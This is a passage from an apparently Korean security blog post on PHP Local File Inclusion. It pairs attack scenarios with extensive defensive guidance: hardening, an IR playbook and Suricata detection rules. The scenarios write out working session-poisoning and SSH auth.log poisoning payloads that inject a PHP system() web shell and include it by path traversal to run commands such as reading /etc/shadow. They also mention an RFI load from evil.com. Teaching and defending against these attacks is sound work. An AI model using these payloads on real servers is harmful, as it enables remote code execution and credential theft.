- 학습 목표: 파일 업로드도 불가능하고, 웹 서버 로그 접근 권한도
root로 옥죄어져 로그 포이즈닝이 막힌 상황에서, 해커가 쿠키와 세션 변수를 교묘하게 조작하여 서버의 물리적 세션 파일을 오염시키고 이를 LFI로 뚫어내는 최고 난도의 킬체인을 달성함. - 전제 조건: 타겟 웹 사이트(10.0.0.100)는 언어(Language) 설정 등을 세션(
$_SESSION['lang'])에 저장하는 기능이 있으며,sess_XXX파일이 기본 저장소인/var/lib/php/sessions/에 평문으로 저장됨.
# [Step 1: 해커가 정상적인 세션 등록 파라미터(예: 프로필 변경, 언어 선택)에 악성 PHP 코드를 밀어 넣음]
POST /profile.php HTTP/1.1
Host: 10.0.0.100
Cookie: PHPSESSID=evil123456789
Content-Type: application/x-www-form-urlencoded
lang=<?php system($_GET["cmd"]); ?>
# [Step 2: 서버는 이를 받아들여 물리 디스크 경로인 `/var/lib/php/sessions/sess_evil123456789` 파일 내부에 직렬화된 형태로 악성 코드를 박제함]
# [Step 3: LFI 라우터에 세션 파일의 절대 경로를 태워 인클루드 호출을 강제함]
GET /index.php?page=../../../../../../var/lib/php/sessions/sess_evil123456789&cmd=id HTTP/1.1
# [결과 분석 및 방어 인사이트 도출]
# 세션 파일은 `www-data` 권한으로 생성 및 읽기가 강제되므로, 파일 퍼미션 방어벽을 완벽히 무력화시키는 치명적 벡터임.
# → 방어책: 세션 데이터를 파일 시스템이 아닌 Redis나 Memcached 같은 인메모리(In-Memory) 저장소에 매핑하도록 PHP 핸들러를 아키텍처 단위에서 마이그레이션해야 함.
📘 Scenario B: SSH Auth 로그 포이즈닝 우회 기법
- 학습 목표: 해커가 22번 포트(SSH)를 향해 가짜 사용자 이름으로 인증을 시도하여 OS의 SSH 로그(
/var/log/auth.log)를 오염시키고 이를 LFI로 관통하는 창의적인 우회 킬체인을 완성함.
# [Step 1: 해커가 칼리 리눅스에서 SSH 접속을 시도하되, 계정명 필드에 악성 PHP 코드를 주입하여 인증 실패를 유도함]
ssh '<?php system($_GET["cmd"]); ?>'@10.0.0.100
# [Step 2: 타겟 서버의 커널은 인증 실패 로그를 남기며, 잘못된 사용자 이름 필드에 담긴 PHP 코드를 `/var/log/auth.log`에 박제함]
# [Step 3: LFI 라우터에 auth.log 경로와 커맨드 페이로드를 태워 RCE 쉘을 즉각 탈취함]
curl "[http://10.0.0.100/index.php?page=../../../../../var/log/auth.log&cmd=cat%20/etc/shadow](http://10.0.0.100/index.php?page=../../../../../var/log/auth.log&cmd=cat%20/etc/shadow)"
9. 🩹 트러블슈팅 및 장애 대응 실무 (RCA)
| 에러 로그 증상 (Symptom) | 장애 발생 원인 분석 (Root Cause) | 실무 해결책 및 조치 방안 (Resolution) |
|---|---|---|
open_basedir restriction in effect. File(...) is not within the allowed path |
방어자가 php.ini에 설정한 open_basedir 디렉터리 바운더리를 공격자가 ../ 트래버설로 벗어나 상위 OS 파일에 접근하려다 PHP 커널에 하드 블락(Drop) 당함. |
방어 아키텍처가 정상 동작 중인 것이며, open_basedir 우회를 방지하기 위해 심볼릭 링크 제한 옵션 설정 무결성을 추가 검증함. |
URL file-access is disabled in the server configuration |
해커가 http://evil.com/shell.txt 외부 페이로드를 쏘는 RFI 공격이나 php://input 래퍼를 호출했으나, 커널의 allow_url_include=Off 세팅에 의해 인클루드 채널이 박살 남. |
원격 파일 참조 로직이 차단된 정상적인 락다운 상태임. 다만 로컬 파일 경로 참조(LFI)는 여전히 가능하므로 뷰 렌더링 코드의 화이트리스트 검토가 필수적임. |
브라우저에서 Warning: include(): failed to open stream 에러 출력 |
공격자가 퍼징한 로컬 파일 경로가 서버 디스크에 존재하지 않거나, 오타가 있어 파일 핸들을 열지 못함. 하지만 에러 페이지에 로컬 서버의 절대 경로가 덤프 노출됨. | php.ini에서 에러 출력 환경변수 display_errors = Off를 강제 선언하여 해커에게 인프라 절대 경로 지도를 제공하는 행위를 100% 맹인화(Blind)시킴. |
include() 호출 부에서 뒤에 무조건 .php 확장자가 강제 결합되어 파일 탐색 실패 |
개발 코드가 include($_GET['page'] . '.php'); 형태로 되어 있어 /etc/passwd.php를 찾으려다 실패함. 현대 PHP에서는 Null Byte(%00) 절단 우회도 통하지 않음. |
공격자 입장에서는 페이로드 사출이 막힌 상태이며, 방어자 입장에서는 취약점이 소멸된 것이 아니므로 Path Variable이나 Wrapper 체인을 통한 확장자 우회 여부를 코딩 감사해야 함. |
10. 🛡️ 방어 아키텍처 및 위협 헌팅 엔지니어링 실무 (Blue Team Focus)
10-1. MITRE D3FEND 프레임워크 매핑
| 방어 전술 (Tactic) | 방어 기법 세부 항목 (Technique) | 차단 원리 및 보안 메커니즘 상세 설명 | ID (Code) |
|---|---|---|---|
Harden |
Application Configuration Hardening | php.ini의 allow_url_include = Off 및 open_basedir = /var/www/ 강제 적용으로 파일 접근 범위를 웹 루트 내부로 샌드박스 격리함 |
D3-ACH |
Isolate |
Execution Isolation | 웹 데몬(www-data) 프로세스의 파일 읽기 권한(Permission)을 분리하여, 해커가 LFI로 /var/log나 /etc/shadow를 인클루드하려 할 때 OS 커널 레벨 권한 부족으로 차단함 |
D3-EI |
Detect |
HTTP Traffic Analysis | ModSecurity WAF 및 Suricata 연동을 통해 URI 파라미터 내의 ../ 패턴, php:// 래퍼, Base64 필터 인코딩 문자열을 실시간 L7 딥 인스펙션 헌팅함 |
D3-HTA |
10-2. 웹 인프라 하드닝 및 시큐어 코딩 기준
- 인프라 샌드박스 및 권한 격리 레이어 (L7 OS Kernel):
open_basedir샌드박싱: PHP 프로세스가 파일 시스템 전체를 헤집고 다니지 못하도록,php.ini나 Nginx FastCGI 파라미터에서fastcgi_param PHP_VALUE "open_basedir=/var/www/html/";구문을 명시하여 파일 접근 가시거리를 감옥(Chroot) 수준으로 가둠.- 시스템 로그 권한 하드닝:
access.log,auth.log등 포이즈닝의 타겟이 되는 로그 파일의 소유권을root:adm으로 고정하고,www-data사용자가 절대 읽을 수 없도록(Read Permission 제거) 옥죄어 LFI가 터지더라도 RCE 에스컬레이션을 물리적으로 절단함.
- 개발 아키텍처 보안 코딩 레이어 (Application Code):
- 사용자 입력값 신뢰 제로 트러스트:
include(),require(),fopen()등의 I/O 함수 인자에$_GET['page']같은 사용자 입력 변수가 직접 바인딩되는 구조를 100% 폐기함. - 인덱스 화이트리스트(Whitelist) 강제: 동적 페이지 로딩이 필수불가결하다면, 입력값을 그대로 경로로 쓰지 말고 백엔드 로직에서 스위치-케이스(Switch-case) 문을 이용해 정해진 키워드(예:
1=about.php,2=contact.php) 외의 모든 트래픽을 즉시 예외 처리(Drop)함.
- 사용자 입력값 신뢰 제로 트러스트:
10-3. IaC 기반 자동화 보안 설정 마스터 템플릿
# Ansible Playbook 구축 예시: LFI 및 RFI 공격 차단과 RCE 무력화를 위한 PHP 보안 코어 하드닝 마스터 룰셋임
- name: Secure PHP configuration against LFI/RFI Vectors
lineinfile:
path: /etc/php/8.3/fpm/php.ini
regexp: '^{{ item.key }}'
line: '{{ item.key }} = {{ item.value }}'
with_items:
# 1. 외부 URL 참조 파일 인클루드 원천 차단 (RFI 격리)
- { key: 'allow_url_include', value: 'Off' }
- { key: 'allow_url_fopen', value: 'Off' }
# 2. 로컬 디렉터리 역주행(Traversal) 방지를 위한 파일 시스템 샌드박스 바운더리 선언
- { key: 'open_basedir', value: '/var/www/html/:/tmp/' }
# 3. 에러 발생 시 절대 경로 유출(Full Path Disclosure) 방지 맹인화
- { key: 'display_errors', value: 'Off' }
- { key: 'log_errors', value: 'On' }
# 4. [💡 핵심 방어] LFI가 RCE로 터지는 것을 원천 방어하기 위한 치명적 쉘 커맨드 함수 셧다운
- { key: 'disable_functions', value: 'system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec' }
notify: restart php-fpm
10-4. 침해 인시던트 대응 절차 (IR Playbook)
| 대응 단계 | 실무 대응 행동 강령 | 인프라 담당 역할 | 헌팅 소요 시간 |
|---|---|---|---|
| 1. 탐지 | Graylog SIEM에서 웹 파라미터(?page=)에 반복적인 ../ 탐색 쿼리나, php://filter 래퍼 텍스트가 인입되는 아노말리 알람을 즉각 인지함 |
SOC Analyst | T+0 |
| 2. 격리 | OPNsense 방화벽에서 공격 출발지 IP를 즉시 Drop 처리하고, 타겟 웹 서버의 Nginx에서 해당 취약 엔드포인트 라우터를 return 444로 잠정 폐쇄 격리함 |
IR Team | T+5분 |
| 3. 증거 수집 | 웹 서버의 access.log 및 /var/log/auth.log, 물리 세션 파일(/var/lib/php/sessions)을 해싱 보존하고, 내부에 <?php ... ?> 웹쉘 코드 문자열이 인젝션 각인되었는지 딥 포렌식함 |
Forensic Analyst | T+30분 |
| 4. 원인 분석 | LFI 공격이 단순 정보 유출(/etc/passwd 덤프)에 그쳤는지, 포이즈닝을 통해 이미 시스템에 리버스 쉘 프로세스(RCE)를 띄웠는지 메모리 및 프로세스 트리를 정밀 리버싱 역추적함 |
IR Team | T+2시간 |
| 5. 인프라 복구 | 오염된 로그 파일을 전면 백업 후 비우기(Purge) 조치하고, 취약한 include() 로직을 화이트리스트 패치 적용 후 open_basedir 락다운 상태로 재기동함 |
SysAdmin | T+4시간 |
10-5. 엔터프라이즈 위협 헌팅 탐지 룰셋 (Suricata NIDS)
# HTTP 파라미터 및 경로 탐색을 통한 디렉터리 횡단(Directory Traversal) LFI 스니핑 차단 룰셋임
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SERVER Possible LFI Directory Traversal (../) Attempt"; flow:established,to_server; content:"../"; http_uri; threshold:type limit, track by_src, count 5, seconds 30; classtype:web-application-attack; sid:2010991; rev:2;)
# 소스코드 유출 및 RCE 우회를 위한 PHP Wrapper (php://filter, data:// 등) 주입 실시간 포착 룰셋임
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET POLICY Suspicious PHP Wrapper Injection (php://filter or data://)"; flow:established,to_server; pcre:"/(php|data|expect|zip|phar):\/\//i"; http_uri; classtype:attempted-admin; sid:2010992; rev:1;)
11. 🔗 글로벌 공식 레퍼런스 데이터베이스 (References)
- OWASP LFI (Local File Inclusion) 공격 구조 및 방어 테스팅 가이드라인:
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion - PHP 공식 메뉴얼 - Supported Protocols and Wrappers:
https://www.php.net/manual/en/wrappers.php - MITRE ATT&CK 파일 및 디렉터리 정보 수집(T1083) 전술 심층 분석:
https://attack.mitre.org/techniques/T1083/ - PortSwigger (Burp Suite) Directory Traversal & File Inclusion 취약점 해부 웹 아카데미:
https://portswigger.net/web-security/file-path-traversal - NVD (National Vulnerability Database) CWE-98 파일 이름 불완전 통제 결함 문서:
https://cwe.mitre.org/data/definitions/98.html
12. 🏁 결론 및 비즈니스 임팩트 (Wrap-up)
🎓 이 포스팅에서 배운 보안 엔지니어링 관점
- 공격 관점의 통찰: LFI는 단순한 파일 읽기 버그가 아님. 해커는 파일 시스템의 경로 탐색(
../) 기능과 PHP가 제공하는 강력한 스트림 파이프라인(php://filter)을 연계하여 서버 소스코드를 훔쳐냄은 물론, 아무도 신경 쓰지 않던 웹 로그(access.log)와 세션 파일(sess_XXX)조차 메모리에 강제 렌더링시켜 백도어 쉘(RCE)로 탈바꿈시키는 최악의 연쇄 킬체인 벡터임을 완벽히 입증함. - 방어 관점의 통찰: 개발자가 입력값을 치환(Replace)하는 블랙리스트 정규식 필터링은 공격자의 끝없는 인코딩(%00, %252e 등) 다형성 앞에 100% 무력화됨. 웹 소스 레벨의 화이트리스트 검증과 더불어 커널 단의
open_basedir디렉터리 감옥(Chroot) 격리, 그리고disable_functions를 통한 커맨드 셧다운이 시스템 권한 붕괴를 막아내는 최후의 보루(Defense in Depth)임을 체득함. - 다음 단계의 실무 과제: 허가된 로컬 가상 온프레미스(VMware/Proxmox) 망에 취약한 PHP-FPM 랩을 배포하고, Kali 머신에서 Burp Suite를 이용한 SSH Log Poisoning RCE 및 Session Poisoning 에스컬레이션 공방 테스트를 직접 수행하며, ModSecurity WAF 룰 코릴레이션 헌팅 파이프라인을 연동하여 L7 LFI 탐지 감각을 극한으로 숙달함.
🔰 인프라 엔지니어링 방어 철학
(✏️ Architected by Elpam.k)
"하드웨어 WAF가 수만 개의 L7 페이로드를 막아낸다 한들, 애플리케이션 코드가 사용자 입력을 무조건적으로 신뢰하여 파일 I/O API(include())에 직결시키는 순간 서버의 파일 시스템은 1초 만에 해커의 터미널 쉘로 넘어감." 인프라 방어 설계 시 단순히 웹 포트나 입력 폼을 감시하는 일차원적 사고에서 벗어나, PHP 코어가 파일을 어떻게 렌더링하고 스트림 래퍼(Wrapper)가 내부 메모리에 어떤 트리거를 유발하는지 커널 아키텍처 깊이까지 꿰뚫어보는 제로 트러스트(Zero Trust) 시야가 필수적임. 따라서 모든 웹 아키텍처의 기저에 '절대적 경로 샌드박싱(open_basedir)'과 '로컬 권한 격리(Least Privilege)'를 가장 보수적으로 적용하여, LFI가 뚫리더라도 RCE로 폭발하는 뇌관을 물리적으로 절단하는 방어 체계를 인포싱해야 함.
💡 Related Posts
- 👉 [PHP-FPM 환경의 open_basedir 샌드박스 구축 및 파일 권한 하드닝 실무]
- 👉 [ModSecurity WAF 연동을 통한 PHP Wrapper 주입 및 RFI 방어 최적화 가이드]
- 👉 [Suricata NIDS 기반 악성 Directory Traversal 및 Log Poisoning 헌팅 탐지 실무]
오류·추가 질문은 댓글로 남겨 주시면 확인함.
🔖 Tistory Tags:
#LFI#RCE#웹해킹#모의해킹#PHP_Wrapper#LogPoisoning#SessionPoisoning#DFIR#버그바운티
Architected by Elpam.k
'보안 기술 > 웹 & 시스템 해킹' 카테고리의 다른 글
| XSS (Cross-Site Scripting) (0) | 2026.05.12 |
|---|---|
| Remote File Inclusion (RFI) (1) | 2026.04.11 |
| SSTI (0) | 2026.04.08 |
| 리버스 쉘(Reverse Shell) (0) | 2026.04.08 |
| 가상 호스팅 (Virtual Hosting) (0) | 2026.04.08 |
Discussion 0